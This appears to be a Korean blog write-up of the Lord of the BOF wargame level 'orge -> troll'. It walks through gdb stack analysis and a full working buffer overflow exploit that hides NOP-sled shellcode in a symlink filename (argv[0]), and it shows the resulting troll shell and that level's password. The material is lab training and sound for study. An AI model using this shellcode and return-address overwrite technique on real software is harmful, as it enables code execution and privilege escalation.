[LOB] - orge -> troll 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
이번 문제는 argc의 개수가 무조건 2개여야만 하고, argv[1]의 길이는 48bytes여야 한다.
또 buffer에는 SFP와 RET를 제외한 값들은 0으로 초기화 되고, argv[1]의 값은 모두 0으로 초기화 된다.
argv[2]를 이용할 수 없고 argv[1]에 shellcode를 넣어도 0으로 초기화 되는 상황이다. 우리가 overwrite 할 수 있는 것은 RET와 argv[0]에서 파일이름 말고는 없다.
argv[0]을 이용하여 shell을 실행할 수 있는 방법이 있다. argv[0]의 값은 스택에 저장되기 때문에 파일이름은 nop와 shellcode로 바꾸어 RET에 argv[0]의 주소로 overwrite 하면 shell이 실행될 것이다.
orge 바이너리를 copy하고 이를 gdb로 분석해보자.
[orge@localhost orge]$ mkdir tmp
[orge@localhost orge]$ cp troll ./tmp/troll_copy
[orge@localhost orge]$ cd tmp
[orge@localhost tmp]$ ls
troll_copy
[orge@localhost tmp]$ gdb -q troll_copy
(gdb)
argv[1]의 주소는 main+232이다. main+233에 breakpoint를 걸어 스택값을 확인해보자.
argv[1]의 주소는 0xbffffdd0이고 argv[0]의 주소를 찾기 위해 x/50wx 0xbffffdd0-\x10 명령어를 입력해보자.
(gdb) disas main
Dump of assembler code for function main:
...
0x80485e8 <main+232>: push %edx
0x80485e9 <main+233>: lea 0xffffffd8(%ebp),%eax
0x80485ec <main+236>: push %eax
0x80485ed <main+237>: call 0x8048440 <strcpy>
0x80485f2 <main+242>: add $0x8,%esp
0x80485f5 <main+245>: lea 0xffffffd8(%ebp),%eax
0x80485f8 <main+248>: push %eax
...
(gdb) b *main+233
Breakpoint 1 at 0x80485e9
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/orge/tmp/troll_copy `python -c 'print "A"*47+"\xbf"'`
Breakpoint 1, 0x80485e9 in main ()
(gdb) x/wx $esp
0xbffffc48: 0xbffffdd0
(gdb) x/wx 0xbffffdd0
0xbffffdd0: 0x41414141
(gdb) x/50wx 0xbffffdd0-0x20
0xbffffdb0: 0x38366900 0x682f0036 0x2f656d6f 0x6567726f
0xbffffdc0: 0x706d742f 0x6f72742f 0x635f6c6c 0x0079706f
0xbffffdd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffde0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffdf0: 0x41414141 0x41414141 0x41414141 0xbf414141
0xbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe70: 0x00000000 0x00000000
(gdb)
0xbffffdc0부터 0xbffffdd0까지 hex 값을 string으로 나타내면 절대경로의 값이 리틀엔디안으로 들어간 것을 볼 수 있다.
0x2f656d6f 값을 디코딩해보면 ome/ 이라고 나온다. 아마 /home 이라는 값일 것이다. 즉 argv[0]의 시작 주소는 0xbffffdc0라고 이쯤에 잡아 보겠다.
(gdb) x/50wx 0xbffffdd0-0x20
0xbffffdb0: 0x38366900 0x682f0036 0x2f656d6f 0x6567726f
0xbffffdc0: 0x706d742f 0x6f72742f 0x635f6c6c 0x0079706f
>>> '2f656d6f'.decode('hex')
'/emo'
argv[0]의 주소를 찾았으므로 파일이름에 nop와 shellcode를 삽입해보겠다.
저번 문제 풀이에서 썼던 방법대로 ln 명령어를 이용해 링크 파일을 생성한다.
여기서 주의 할 점은 shellcode에 \x2f 라는 문자가 들어가 있으면 안된다. string 값으로 / 이므로 폴더를 나눈 것으로 인식해 \x2f 가 없는 shellcode를 사용한다.
\x2f가 없는 shellcode (48bytes)
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
[orge@localhost tmp]$ ln -s ./troll_copy `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ls
troll_copy
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????^1ɱ2?l???u2Qi00tii0cjo?T??
[orge@localhost tmp]$
공격을 시도해 보겠다. 역시 에러가 나서 core파일을 gdb로 분석해본다.
[orge@localhost tmp]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xc0\xfd\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[orge@localhost tmp]$ gdd -c core -q
스택값을 보니 \x90 문자가 채워져 있고 밑에 shellcode와 0으로 초기화된 값들이 보인다. 필자는 적당히 0xbffffb30 주소를 argv[0]으로 하고 RET에 다시 overwirte 해서 공격을 시도해 보았다.
(gdb) x/200wx $esp
...
0xbffffad0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffae0: 0x36383669 0x902f2e00 0x90909090 0x90909090
0xbffffaf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0xeb909090
0xbffffbb0: 0xc9315e11 0x6c8032b1 0x8001ff0e 0xf67501e9
0xbffffbc0: 0xeae805eb 0x32ffffff 0x306951c1 0x69697430
0xbffffbd0: 0x6f6a6330 0x5451e48a 0xb19ae28a 0x0081ce0c
0xbffffbe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
...
(gdb)
실행된 링크 파일은 orge 권한으로 copy된 파일에 링크를 걸었기 때문에 orge권한으로 shell 이 실행된 것을 볼 수 있다.
[orge@localhost tmp]$ ln -s ../troll ./`python -c 'print "\x90"*201+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ./`python -c 'print "\x90"*201+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x30\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
bash$
문제를 클리어 하기 위해 원본 파일에 링크를 걸어 똑같은 payload를 입력하여 shell을 획득한 것을 볼 수 있다.
'🚩CTF' 카테고리의 다른 글
[LOB] - darkknight -> bugbear 풀이 (0) | 2019.10.06 |
---|---|
[LOB] - troll -> vampire 풀이 (0) | 2019.10.05 |
[LOB] - darkelf -> orge 풀이 (0) | 2019.10.05 |
[LOB] - wolfman -> darkelf 풀이 (0) | 2019.10.04 |
[LOB] - orc -> wolfman 풀이 (0) | 2019.10.04 |
댓글
이 글 공유하기
다른 글
-
[LOB] - darkknight -> bugbear 풀이
[LOB] - darkknight -> bugbear 풀이
2019.10.06 -
[LOB] - troll -> vampire 풀이
[LOB] - troll -> vampire 풀이
2019.10.05 -
[LOB] - darkelf -> orge 풀이
[LOB] - darkelf -> orge 풀이
2019.10.05 -
[LOB] - wolfman -> darkelf 풀이
[LOB] - wolfman -> darkelf 풀이
2019.10.04